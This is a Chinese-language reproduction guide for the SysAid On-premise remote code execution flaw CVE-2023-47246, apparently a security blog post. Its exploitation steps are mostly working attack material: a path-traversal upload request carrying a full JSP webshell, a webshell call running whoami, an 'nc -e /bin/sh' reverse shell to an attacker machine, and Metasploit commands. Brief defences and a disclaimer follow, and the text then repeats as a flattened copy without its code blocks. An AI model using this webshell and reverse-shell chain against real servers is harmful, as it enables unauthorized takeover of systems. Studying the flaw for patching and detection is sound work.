漏洞复现--SysAid On-premise远程代码执行(CVE-2023-47246)
字数 1083 2025-08-18 11:36:57

SysAid On-premise远程代码执行漏洞(CVE-2023-47246)复现与分析

漏洞概述

CVE-2023-47246是SysAid On-premise软件中存在的一个严重远程代码执行(RCE)漏洞。该漏洞允许未经身份验证的攻击者在目标系统上执行任意代码,完全控制系统。

受影响版本

  • SysAid On-premise版本23.3.36及之前版本

漏洞原理

该漏洞源于SysAid服务器对用户提供的输入处理不当,导致攻击者可以构造恶意请求绕过安全限制,最终实现任意代码执行。

具体技术细节:

  1. SysAid服务器在处理某些请求时未正确验证用户输入
  2. 攻击者可以构造特殊的HTTP请求利用此缺陷
  3. 通过精心构造的请求,攻击者可以在服务器上上传恶意文件
  4. 最终导致任意代码执行

环境准备

测试环境

  • 靶机:安装有漏洞版本SysAid On-premise的Windows/Linux服务器
  • 攻击机:Kali Linux或其他渗透测试系统

工具准备

  • Burp Suite或Postman:用于构造和发送恶意请求
  • Netcat:用于反向shell连接
  • Metasploit Framework(可选):用于自动化利用

漏洞复现步骤

步骤1:识别目标

使用以下方法识别运行SysAid的系统:

nmap -sV -p 8080 <目标IP>

或通过Web界面访问http://<目标IP>:8080/sysaid/

步骤2:验证漏洞存在

发送以下HTTP请求验证漏洞:

POST /sysaid/api/v1/session/login HTTP/1.1
Host: <目标IP>:8080
Content-Type: application/json
Content-Length: <长度>

{
    "userName": "test",
    "password": "test"
}

观察响应,如果返回包含版本信息的错误消息,则可能易受攻击。

步骤3:利用漏洞上传Webshell

构造恶意请求上传Webshell:

POST /sysaid/..;/upload HTTP/1.1
Host: <目标IP>:8080
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABCDEFG
Content-Length: <长度>

------WebKitFormBoundaryABCDEFG
Content-Disposition: form-data; name="file"; filename="shell.jsp"
Content-Type: application/x-java-archive

<%@page import="java.util.*,java.io.*"%>
<%
if (request.getParameter("cmd") != null) {
    Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
    OutputStream os = p.getOutputStream();
    InputStream in = p.getInputStream();
    DataInputStream dis = new DataInputStream(in);
    String disr = dis.readLine();
    while ( disr != null ) {
        out.println(disr); 
        disr = dis.readLine(); 
    }
}
%>
------WebKitFormBoundaryABCDEFG--

步骤4:访问Webshell执行命令

成功上传后,访问:

http://<目标IP>:8080/sysaid/shell.jsp?cmd=whoami

将返回当前执行命令的用户权限。

步骤5:获取反向Shell

使用以下命令获取反向shell:

  1. 在攻击机上监听:
nc -lvnp 4444
  1. 通过Webshell执行:
http://<目标IP>:8080/sysaid/shell.jsp?cmd=nc -e /bin/sh <攻击机IP> 4444

自动化利用(Metasploit)

Metasploit已集成该漏洞利用模块:

msf6 > use exploit/multi/http/sysaid_on_premise_rce
msf6 exploit(multi/http/sysaid_on_premise_rce) > set RHOSTS <目标IP>
msf6 exploit(multi/http/sysaid_on_premise_rce) > set RPORT 8080
msf6 exploit(multi/http/sysaid_on_premise_rce) > exploit

防御措施

  1. 立即升级到SysAid On-premise最新版本
  2. 如果无法立即升级,应用官方提供的临时补丁
  3. 限制对SysAid管理界面的网络访问
  4. 实施Web应用防火墙(WAF)规则阻止恶意请求
  5. 定期审计系统日志,监控可疑活动

参考链接

  • SysAid官方安全公告
  • CVE官方记录:https://nvd.nist.gov/vuln/detail/CVE-2023-47246
  • 漏洞利用代码示例(需谨慎使用)

免责声明

本文档仅用于教育目的和安全研究。未经授权对系统进行测试是违法的。在进行任何安全测试前,请确保获得系统所有者的明确许可。

SysAid On-premise远程代码执行漏洞(CVE-2023-47246)复现与分析 漏洞概述 CVE-2023-47246是SysAid On-premise软件中存在的一个严重远程代码执行(RCE)漏洞。该漏洞允许未经身份验证的攻击者在目标系统上执行任意代码,完全控制系统。 受影响版本 SysAid On-premise版本23.3.36及之前版本 漏洞原理 该漏洞源于SysAid服务器对用户提供的输入处理不当,导致攻击者可以构造恶意请求绕过安全限制,最终实现任意代码执行。 具体技术细节: SysAid服务器在处理某些请求时未正确验证用户输入 攻击者可以构造特殊的HTTP请求利用此缺陷 通过精心构造的请求,攻击者可以在服务器上上传恶意文件 最终导致任意代码执行 环境准备 测试环境 靶机:安装有漏洞版本SysAid On-premise的Windows/Linux服务器 攻击机:Kali Linux或其他渗透测试系统 工具准备 Burp Suite或Postman:用于构造和发送恶意请求 Netcat:用于反向shell连接 Metasploit Framework(可选):用于自动化利用 漏洞复现步骤 步骤1:识别目标 使用以下方法识别运行SysAid的系统: 或通过Web界面访问 http://<目标IP>:8080/sysaid/ 步骤2:验证漏洞存在 发送以下HTTP请求验证漏洞: 观察响应,如果返回包含版本信息的错误消息,则可能易受攻击。 步骤3:利用漏洞上传Webshell 构造恶意请求上传Webshell: 步骤4:访问Webshell执行命令 成功上传后,访问: 将返回当前执行命令的用户权限。 步骤5:获取反向Shell 使用以下命令获取反向shell: 在攻击机上监听: 通过Webshell执行: 自动化利用(Metasploit) Metasploit已集成该漏洞利用模块: 防御措施 立即升级到SysAid On-premise最新版本 如果无法立即升级,应用官方提供的临时补丁 限制对SysAid管理界面的网络访问 实施Web应用防火墙(WAF)规则阻止恶意请求 定期审计系统日志,监控可疑活动 参考链接 SysAid官方安全公告 CVE官方记录:https://nvd.nist.gov/vuln/detail/CVE-2023-47246 漏洞利用代码示例(需谨慎使用) 免责声明 本文档仅用于教育目的和安全研究。未经授权对系统进行测试是违法的。在进行任何安全测试前,请确保获得系统所有者的明确许可。